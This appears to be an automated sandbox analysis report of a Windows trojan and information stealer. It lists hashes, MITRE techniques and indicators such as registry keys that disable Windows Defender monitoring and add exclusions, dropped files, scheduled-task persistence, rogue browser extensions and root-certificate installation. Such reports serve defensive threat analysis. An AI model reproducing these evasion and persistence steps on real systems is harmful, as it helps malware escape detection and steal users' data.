b3e2bd2498c8bb754d7b83ad2c235a4a1ced6d2ed79cc553195f6bbf077d22fa

Analysis

max time kernel
137s
max time network
142s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
25-09-2022 02:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

ab26e024126593edf3604ad8d27d350f
SHA1

ce2bbf2b8097971d7ce369216f6b995b1125bf85
SHA256

b3e2bd2498c8bb754d7b83ad2c235a4a1ced6d2ed79cc553195f6bbf077d22fa
SHA512

216053e2b2e0777f89fd8b32984564f8f435a434f099ee56c3d4cb237266368dd39e55cab13accd3e87036689a618531e19b756386108c953b20a1324c29a37c
SSDEEP

196608:91OH+MUd+I9H9lqOzE8WBijC5wpRWGYBenSWfGx3tyOQEikp:3OHRIp9vzE8Wo9p5YBenfM3IO7tp

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.execonhost.execonhost.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ATZmuaBwNwmU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\SHsJRQZsU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\SHsJRQZsU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MYjwJFnMfsmfKHMw = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aJAQLsoDkiWqC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fxkldoUMcXUSOxVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fxkldoUMcXUSOxVB = "0"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ATZmuaBwNwmU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MYjwJFnMfsmfKHMw = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MYjwJFnMfsmfKHMw = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QYiUKrukFVUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aJAQLsoDkiWqC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MYjwJFnMfsmfKHMw = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QYiUKrukFVUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

29 948 rundll32.exe
30 948 rundll32.exe
31 948 rundll32.exe
32 948 rundll32.exe
33 948 rundll32.exe
35 948 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exebGGdWhe.exemxEGzBs.exe

pid process

1532 Install.exe
1332 Install.exe
1704 bGGdWhe.exe
1564 mxEGzBs.exe

flow	pid	process
29	948	rundll32.exe
30	948	rundll32.exe
31	948	rundll32.exe
32	948	rundll32.exe
33	948	rundll32.exe
35	948	rundll32.exe

pid	process
1532	Install.exe
1332	Install.exe
1704	bGGdWhe.exe
1564	mxEGzBs.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mxEGzBs.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation mxEGzBs.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Control Panel\International\Geo\Nation	mxEGzBs.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
1288	file.exe
1532	Install.exe
1532	Install.exe
1532	Install.exe
1532	Install.exe
1332	Install.exe
1332	Install.exe
1332	Install.exe
948	rundll32.exe
948	rundll32.exe
948	rundll32.exe
948	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

mxEGzBs.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	mxEGzBs.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	mxEGzBs.exe

Drops file in System32 directory 23 IoCs

Processes:

mxEGzBs.exerundll32.exeInstall.exepowershell.EXEpowershell.EXEbGGdWhe.exepowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	bGGdWhe.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	mxEGzBs.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	bGGdWhe.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	mxEGzBs.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	mxEGzBs.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	bGGdWhe.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	mxEGzBs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	mxEGzBs.exe

Drops file in Program Files directory 13 IoCs

Processes:

mxEGzBs.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	mxEGzBs.exe
File created	C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\Ivbybcn.dll	mxEGzBs.exe
File created	C:\Program Files (x86)\aJAQLsoDkiWqC\SrGnHnQ.xml	mxEGzBs.exe
File created	C:\Program Files (x86)\QYiUKrukFVUn\qkdPbzH.dll	mxEGzBs.exe
File created	C:\Program Files (x86)\SHsJRQZsU\TlWJej.dll	mxEGzBs.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	mxEGzBs.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	mxEGzBs.exe
File created	C:\Program Files (x86)\SHsJRQZsU\ddzoyBr.xml	mxEGzBs.exe
File created	C:\Program Files (x86)\ATZmuaBwNwmU2\aTHlyWzJaekju.dll	mxEGzBs.exe
File created	C:\Program Files (x86)\ATZmuaBwNwmU2\moxioBn.xml	mxEGzBs.exe
File created	C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\YUYuHaa.xml	mxEGzBs.exe
File created	C:\Program Files (x86)\aJAQLsoDkiWqC\ycBCfxS.dll	mxEGzBs.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	mxEGzBs.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\mDNVJgqIdbaAfzWWp.job	schtasks.exe
File created	C:\Windows\Tasks\bNHXguvSZYiOwSiXLC.job	schtasks.exe
File created	C:\Windows\Tasks\VgOpnHVQDAdMZqNFB.job	schtasks.exe
File created	C:\Windows\Tasks\DNDvMcbpefrYjKZ.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1700	schtasks.exe
1980	schtasks.exe
1764	schtasks.exe
1936	schtasks.exe
1680	schtasks.exe
1048	schtasks.exe
1148	schtasks.exe
316	schtasks.exe
1324	schtasks.exe
1948	schtasks.exe
1676	schtasks.exe
2040	schtasks.exe
364	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

mxEGzBs.exewscript.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	mxEGzBs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-07-a8-3f-ea-82\WpadDecisionReason = "1"	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	mxEGzBs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-07-a8-3f-ea-82\WpadDecisionReason = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	mxEGzBs.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-07-a8-3f-ea-82\WpadDecisionTime = e049930c86d0d801	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	mxEGzBs.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	mxEGzBs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	mxEGzBs.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	mxEGzBs.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9E35C5D7-4ECF-42C3-AE14-E05545E1BE84}\WpadNetworkName = "Network 2"	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9E35C5D7-4ECF-42C3-AE14-E05545E1BE84}\b6-07-a8-3f-ea-82	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9E35C5D7-4ECF-42C3-AE14-E05545E1BE84}\WpadDecisionReason = "1"	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-07-a8-3f-ea-82\WpadDecision = "0"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	mxEGzBs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-07-a8-3f-ea-82\WpadDecision = "0"	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	mxEGzBs.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-07-a8-3f-ea-82\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-07-a8-3f-ea-82\WpadDecisionTime = e049930c86d0d801	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	mxEGzBs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9E35C5D7-4ECF-42C3-AE14-E05545E1BE84}	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	mxEGzBs.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	mxEGzBs.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9E35C5D7-4ECF-42C3-AE14-E05545E1BE84}\WpadDecision = "0"	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	mxEGzBs.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-07-a8-3f-ea-82	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	mxEGzBs.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	mxEGzBs.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mxEGzBs.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	mxEGzBs.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390